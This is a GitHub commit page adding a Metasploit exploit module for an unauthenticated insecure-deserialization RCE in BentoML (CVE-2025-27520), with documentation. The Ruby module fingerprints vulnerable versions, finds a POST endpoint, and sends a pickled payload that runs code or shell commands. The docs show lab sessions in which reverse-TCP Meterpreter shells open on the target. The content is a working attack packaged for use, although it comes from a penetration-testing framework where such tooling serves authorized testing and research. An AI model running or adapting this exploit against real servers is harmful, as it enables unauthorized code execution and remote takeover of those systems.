Skip to content

Commit 7d70005

Browse files
authored
Land rapid7#20041, BentoML RCE Module
Add BentoML RCE module (CVE-2025-27520)
2 parents 18a6973 + 5945e0d commit 7d70005

File tree

2 files changed

+254
-0
lines changed

2 files changed

+254
-0
lines changed
Lines changed: 131 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,131 @@
1+
## Vulnerable Application
2+
3+
A Remote Code Execution (RCE) vulnerability caused by insecure deserialization has been identified in the v1.4.2 of BentoML.
4+
It allows any unauthenticated user to execute arbitrary code on the server.
5+
6+
The vulnerability affects:
7+
8+
* 1.3.4 <= BentoML < 1.4.3
9+
10+
This module was successfully tested on:
11+
12+
* BentoML 1.4.2 installed on Ubuntu 24.04
13+
14+
15+
### Installation
16+
17+
1. `pip install -U bentoml==1.4.2`
18+
19+
2. Define APIs in a service.py file:
20+
21+
```python3
22+
import bentoml
23+
24+
25+
@bentoml.service(resources={"cpu": "2"})
26+
class Summarization:
27+
@bentoml.api(batchable=True)
28+
def summarize(self, texts):
29+
return texts
30+
```
31+
32+
3. `bentoml serve --host 0.0.0.0`
33+
34+
35+
## Verification Steps
36+
37+
1. Install the application
38+
2. Start msfconsole
39+
3. Do: `use exploit/linux/http/bentoml_rce_cve_2025_27520`
40+
4. Do: `run lhost=<lhost> rhost=<rhost>`
41+
5. You should get a meterpreter
42+
43+
44+
## Options
45+
46+
### ENDPOINT (optional)
47+
Endpoint to use.
48+
49+
50+
## Scenarios
51+
52+
### Python payload
53+
```
54+
msf6 > use exploit/linux/http/bentoml_rce_cve_2025_27520
55+
[*] Using configured payload python/meterpreter/reverse_tcp
56+
msf6 exploit(linux/http/bentoml_rce_cve_2025_27520) > options
57+
58+
Module options (exploit/linux/http/bentoml_rce_cve_2025_27520):
59+
60+
Name Current Setting Required Description
61+
---- --------------- -------- -----------
62+
ENDPOINT no Endpoint to use
63+
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
64+
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
65+
RPORT 3000 yes The target port (TCP)
66+
SSL false no Negotiate SSL/TLS for outgoing connections
67+
VHOST no HTTP server virtual host
68+
69+
70+
Payload options (python/meterpreter/reverse_tcp):
71+
72+
Name Current Setting Required Description
73+
---- --------------- -------- -----------
74+
LHOST yes The listen address (an interface may be specified)
75+
LPORT 4444 yes The listen port
76+
77+
78+
Exploit target:
79+
80+
Id Name
81+
-- ----
82+
0 Python payload
83+
84+
85+
86+
View the full module info with the info, or info -d command.
87+
88+
msf6 exploit(linux/http/bentoml_rce_cve_2025_27520) > set target Python\ payload
89+
target => Python payload
90+
msf6 exploit(linux/http/bentoml_rce_cve_2025_27520) > run lhost=192.168.56.1 rhost=192.168.56.16
91+
[*] Started reverse TCP handler on 192.168.56.1:4444
92+
[*] Running automatic check ("set AutoCheck false" to disable)
93+
[+] The target appears to be vulnerable. Version 1.4.2 detected, which is vulnerable.
94+
[*] Use /summarize as api endpoint.
95+
[*] Sending stage (24772 bytes) to 192.168.56.16
96+
[*] Expected error occurred.
97+
[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.16:34930) at 2025-04-16 21:44:13 +0900
98+
99+
meterpreter > getuid
100+
Server username: ubu
101+
meterpreter > sysinfo
102+
Computer : vul
103+
OS : Linux 6.8.0-56-generic #58-Ubuntu SMP PREEMPT_DYNAMIC Fri Feb 14 15:33:28 UTC 2025
104+
Architecture : x64
105+
System Language : C
106+
Meterpreter : python/linux
107+
meterpreter >
108+
```
109+
110+
### Linux command
111+
```
112+
msf6 exploit(linux/http/bentoml_rce_cve_2025_27520) > set target Linux\ Command
113+
target => Linux Command
114+
msf6 exploit(linux/http/bentoml_rce_cve_2025_27520) > run lhost=192.168.56.1 rhost=192.168.56.16
115+
[*] Started reverse TCP handler on 192.168.56.1:4444
116+
[*] Running automatic check ("set AutoCheck false" to disable)
117+
[+] The target appears to be vulnerable. Version 1.4.2 detected, which is vulnerable.
118+
[*] Use /summarize as api endpoint.
119+
[*] Expected error occurred.
120+
[*] Meterpreter session 2 opened (192.168.56.1:4444 -> 192.168.56.16:35272) at 2025-04-16 21:45:17 +0900
121+
122+
meterpreter > getuid
123+
Server username: ubu
124+
meterpreter > sysinfo
125+
Computer : 192.168.56.16
126+
OS : Ubuntu 24.04 (Linux 6.8.0-56-generic)
127+
Architecture : x64
128+
BuildTuple : x86_64-linux-musl
129+
Meterpreter : x64/linux
130+
meterpreter >
131+
```
Lines changed: 123 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,123 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Remote
7+
Rank = ExcellentRanking
8+
9+
include Msf::Exploit::Remote::HttpClient
10+
prepend Msf::Exploit::Remote::AutoCheck
11+
12+
def initialize(info = {})
13+
super(
14+
update_info(
15+
info,
16+
'Name' => 'BentoML RCE',
17+
'Description' => %q{
18+
A Remote Code Execution (RCE) vulnerability caused by insecure deserialization has been identified in v1.4.2 of BentoML.
19+
It allows any unauthenticated user to execute arbitrary code on the server.
20+
},
21+
'Author' => [
22+
'c2an1', # Vulnerability discovery and PoC
23+
'Takahiro Yokoyama' # Metasploit module
24+
],
25+
'License' => MSF_LICENSE,
26+
'References' => [
27+
['CVE', '2025-27520'],
28+
['URL', 'https://github.com/advisories/GHSA-33xw-247w-6hmc'],
29+
],
30+
'Targets' => [
31+
[
32+
'Python payload',
33+
{
34+
'Arch' => ARCH_PYTHON,
35+
'Platform' => 'python',
36+
'Type' => :python,
37+
'DefaultOptions' => { 'PAYLOAD' => 'python/meterpreter/reverse_tcp' }
38+
}
39+
],
40+
[
41+
'Linux Command', {
42+
'Arch' => [ ARCH_CMD ], 'Platform' => [ 'unix', 'linux' ], 'Type' => :nix_cmd,
43+
'DefaultOptions' => {
44+
# defaults to cmd/linux/http/aarch64/meterpreter/reverse_tcp
45+
'PAYLOAD' => 'cmd/linux/http/x64/meterpreter_reverse_tcp'
46+
}
47+
}
48+
],
49+
],
50+
'DefaultOptions' => {
51+
'FETCH_DELETE' => true
52+
},
53+
'DefaultTarget' => 0,
54+
'DisclosureDate' => '2025-04-04',
55+
'Notes' => {
56+
'Stability' => [ CRASH_SAFE, ],
57+
'SideEffects' => [ IOC_IN_LOGS ],
58+
'Reliability' => [ REPEATABLE_SESSION, ]
59+
}
60+
)
61+
)
62+
register_options(
63+
[
64+
Opt::RPORT(3000),
65+
OptString.new('ENDPOINT', [ false, 'Endpoint to use', ''])
66+
]
67+
)
68+
end
69+
70+
def check
71+
res = send_request_cgi({
72+
'method' => 'GET',
73+
'uri' => normalize_uri(target_uri.path, 'docs.json')
74+
})
75+
return Exploit::CheckCode::Unknown('Unexpected server reply.') unless res&.code == 200
76+
77+
version = res.get_json_document&.dig('info', 'description')&.[](/BentoML-([\d.]+)-informational/, 1)
78+
return Exploit::CheckCode::Unknown('Failed to parse version.') unless version
79+
80+
version = Rex::Version.new(version)
81+
return Exploit::CheckCode::Unknown('Failed to get version.') unless version
82+
83+
return Exploit::CheckCode::Safe("Version #{version} detected, which is not vulnerable.") unless version.between?(Rex::Version.new('1.3.4'), Rex::Version.new('1.4.2'))
84+
85+
@api_endpoint = find_api_endpoint
86+
return Exploit::CheckCode::Unknown('No vulnerable api endpoint.') unless @api_endpoint
87+
88+
Exploit::CheckCode::Appears("Version #{version} detected, which is vulnerable.")
89+
end
90+
91+
def find_api_endpoint
92+
res = send_request_cgi({
93+
'method' => 'GET',
94+
'uri' => normalize_uri(target_uri.path, 'docs.json')
95+
})
96+
return unless res&.code == 200
97+
98+
paths = res&.get_json_document&.dig('paths')
99+
paths&.keys&.detect { |path| paths[path].keys.include?('post') }
100+
end
101+
102+
def exploit
103+
@api_endpoint = datastore['ENDPOINT'].blank? ? find_api_endpoint : datastore['ENDPOINT']
104+
fail_with(Failure::Unknown, 'No endpoint specified or no vulnerable api endpoint found.') unless @api_endpoint
105+
print_status("Use #{@api_endpoint} as api endpoint.")
106+
107+
if target['Type'] == :python
108+
data = Msf::Util::PythonDeserialization.payload(:py3_exec_threaded, payload.encoded)
109+
else
110+
data = Msf::Util::PythonDeserialization.payload(:py3_exec_threaded, "import os;os.system(\"\"\"\n#{payload.encoded}\n\"\"\")")
111+
end
112+
113+
res = send_request_cgi({
114+
'method' => 'POST',
115+
'uri' => normalize_uri(target_uri.path, @api_endpoint),
116+
'headers' => { 'Content-Type' => 'application/vnd.bentoml+pickle' },
117+
'data' => data
118+
})
119+
fail_with(Failure::Unknown, 'Unexpected server reply.') unless res
120+
print_status('Expected error occurred.') if res.get_json_document&.dig('error') == '1 validation error for Input'
121+
end
122+
123+
end

0 commit comments

Comments
 (0)